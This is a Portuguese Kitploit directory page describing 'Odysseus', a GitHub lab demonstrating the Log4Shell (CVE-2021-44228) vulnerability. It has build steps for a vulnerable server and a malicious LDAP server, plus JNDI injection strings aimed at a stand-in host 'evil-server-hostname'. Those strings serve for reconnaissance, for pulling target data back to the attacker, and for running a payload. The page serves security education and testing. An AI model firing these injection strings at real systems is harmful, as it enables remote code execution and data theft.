Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Odysseus — Uma demonstração da vulnerabilidade Log4Shell (CVE-2021-44228). | Kitploit
Ferramentas/GitHubGitHub/roshanshibu/odysseus
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebComando e ControleAprendizado e EducaçãoDesenvolvimento de Payloads
GitHubroshanshibu/odysseus

Odysseus

Uma demonstração da vulnerabilidade Log4Shell (CVE-2021-44228).

Ver Repositório
há 2 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Odysseus

Uma demonstração da vulnerabilidade Log4Shell (CVE-2021-44228).

Instruções de Compilação

O servidor web vulnerável e o servidor LDAP malicioso foram ambos compilados e testados no JDK 1.8.0_181.

Servidor Web dos Mocinhos

  1. Dentro de goodguys, execute gradlew bootJar
  2. Execute o servidor web vulnerável usando java -jar build/libs/goodguys-0.0.1-SNAPSHOT.jar

Servidor LDAP/Web dos Bandidos

  1. Dentro de badguys, execute mvn package
  2. Execute o servidor malicioso usando java -jar .\target\evil-server.jar

Nota: O Windows Defender pode mover silenciosamente target\classes\Exploit.class para quarentena.

Payload Malicioso

Os comandos maliciosos estão definidos dentro de Exploit.java.

Gatilho de Injeção

InputRemarks
${jndi:ldap://evil-server-hostname:389/Recon}Verifica se o alvo é vulnerável ouvindo uma requisição de conexão ao servidor LDAP.
${jndi:ldap://evil-server-hostname:389/Recon [log4j Pattern Layout(s)]Anexe quaisquer layouts de padrão log4j válidos para coletar os dados do alvo e exibir no terminal do atacante.

Referências

https://securityboulevard.com/2019/01/exploiting-jndi-injections-in-java/ https://logging.apache.org/log4j/1.2/apidocs/org/apache/log4j/PatternLayout.html
https://www.ibm.com/blog/how-to-detect-patch-log4j-vulnerability/

Baixar ferramenta
${jndi:ldap://evil-server-hostname:389/Exploit}
Execute o payload.